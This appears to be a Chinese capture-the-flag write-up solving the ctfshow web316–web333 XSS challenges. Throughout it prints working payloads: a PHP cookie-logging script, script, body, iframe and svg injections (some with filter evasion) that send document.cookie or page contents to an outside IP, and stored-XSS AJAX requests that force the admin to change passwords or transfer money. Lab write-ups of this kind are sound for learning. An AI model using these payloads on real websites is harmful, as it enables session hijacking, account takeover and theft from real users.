ctfshow web 入门 xss注入 web316-web333

Source

web316(反射型)

开始xxs注入,打开题目是一个输入框。

测试看看是否有xss注入漏洞,成功弹出对话框

<script>alert(123)</script>

尝试获取cookie,显示不是管理员没有flag

<script>alert(document.cookie)</script>

 

接着就是xss注入的登场。在自己的vps上面写入如下内容:(这里直接用宝塔创建了一个站点)

<?php
	$cookie = $_GET['cookie'];
	$time = date('Y-m-d h:i:s', time());
	$log = fopen("cookie.txt", "a");
	fwrite($log,$time.':    '. $cookie . "\n");
	fclose($log);
?>
//用于将url参数中的cookie的值写入到cookie.txt中

在url参数里面就可以利用下面的获取cookie,这段脚本会立即把浏览器重定向到指定地址,并且会将cookie通过url参数传递。

<script>是html中的标签,用于嵌入javascript代码。

document.cookie是Javascript中用于访问和操作当前页面中的cookie中的属性的

<script>location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie</script>

可以看到这里成功的生成了cookie

打开后就可以得到flag 

 web317

题目过滤了script,可以利用 HTML 标签的 事件属性 来触发 JavaScript 执行的

例如:<body οnlοad=alert("xss");>,<body> 标签的 onload 事件会在网页加载完成时自动触发。

<img src=x οnerrοr=alert(1)> img标签也是可以的

成功触发JavaScript

接着换成上题差不多的语句就行了

<body onload=location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie;>

vps上面成功获得了cookie 

web318

img标签没用,用其他的,这里贴上chatgpt给出的带事件属性的普通标签

 上面用过了body,这是试试用iframe

输入祝福语:<iframe οnlοad=alert(1)>

再把alert部分换成我们需要用到的就行了

<iframe onload=location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie;>

web319

还是可以用iframe标签,payload同上

web320

新增过滤空格,JavaScript支持注释,可以用注释来断开空格位置,这题试试svg标签(用于在网页中嵌入矢量图形)

<svg/**/οnlοad=alert(1)>

可以看到是有弹窗的,接着改一下alert就行

<svg/**/onload=location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie;>

web321-web326

不知道过滤了什么,直接用web320的payload打通了,看别人wp说是过滤了xss

<svg/**/onload=location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie;>

web327(存储型)

这里当收件人是admin的时候才能够发送成功,不然会显示网络拥堵

直接用上面的payload打就行了,发送成功后云服务器上就会成功的生成cookie.txt文件

<script>location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie</script>

web328

这次给的页面是一个登录的界面,用户名和密码只有管理员可以看见,可利用用户注册这一板块打xss

用户名任意,密码为我们构造的payload(body标签不能用)

<script>location.href="http://47.96.170.150:360/web316.php?cookie="+document.cookie</script>

 在vps上可以拿到管理员的cookie,抓包替换后就行了,这里先抓的是manager.php,放包后再抓一次才会显示flag,所以要改两次cookie

web329

这题和上面那题差不多,开始还是使用用户注册哪里获得了cookie,不过在进行同样的操作是显示不是管理员,可能是后台的cookie刷新太快?wp说是管理员访问了页面就退出了,所以我们得到的cookie是管理员上一次用的cookie,已经没用了

这里换用另外一种姿势,通过构造js代码,将用户管理处的flag直接带出

<script>
$('.laytable-cell-1-0-1').each(function(index,value){
	if(value.innerText.indexOf('ctfshow{')>-1)
	{location.href='http://ip/x.php?cookie='+value.innerText}
});
</script>

这段代码的作用是从网页中查找包含ctfshow{的内容并将其作为参数通过 GET 请求发送到指定服务器,把这段代码用作用户注册的密码,就可以成功拿到flag 

web330

这题新增了个修改密码的功能,直接让admin修改密码,接着登录管理员账号就行(这里和上面不同这里的代码是放在注册的用户名里面)

<script>location.href="http://127.0.0.1/api/change.php?p=1234567";</script>

web331

这次的修改密码换成了POST请求

在select.js中可以找到修改密码的js代码 

使用ajax异步请求的方法,发送post请求

<script>$.ajax({url:'api/change.php',type:'post',data:{p:'123456'}});</script>

接着登录admin账号就可获得flag 

web332

新增了转账,购买flag的功能,试了试上题的payload发现没用,不知道为什么上传了js代码后注册的用户的余额为0,后面重开容器重新注册后又显示余额为5

方法一:逻辑漏洞

利用自己给自己转账金额会变多,不过第一次不能转5元

看别的师傅是用的脚本,个人脚本比较菜,就想着能不能直接爆破

这里一开始好像是用的1-60,别管了,反正这已经可以证明爆破这条路走的通了 

接着把参数调一调或者多爆破几次就行了 

方法二:xss

通过构造ajax异步请求,让admin转账给我们个人用户,实现购买flag

我们先注册一个aaa账户,再注册一个用户名为下面xss代码的账户

<script>$.ajax({url:'api/amount.php',type:'post',data:{u:'aaa',a:'10000'}});</script>

登录aaa账户后可以看到已经实现转账的功能了 

web333

用上题的两种方法都行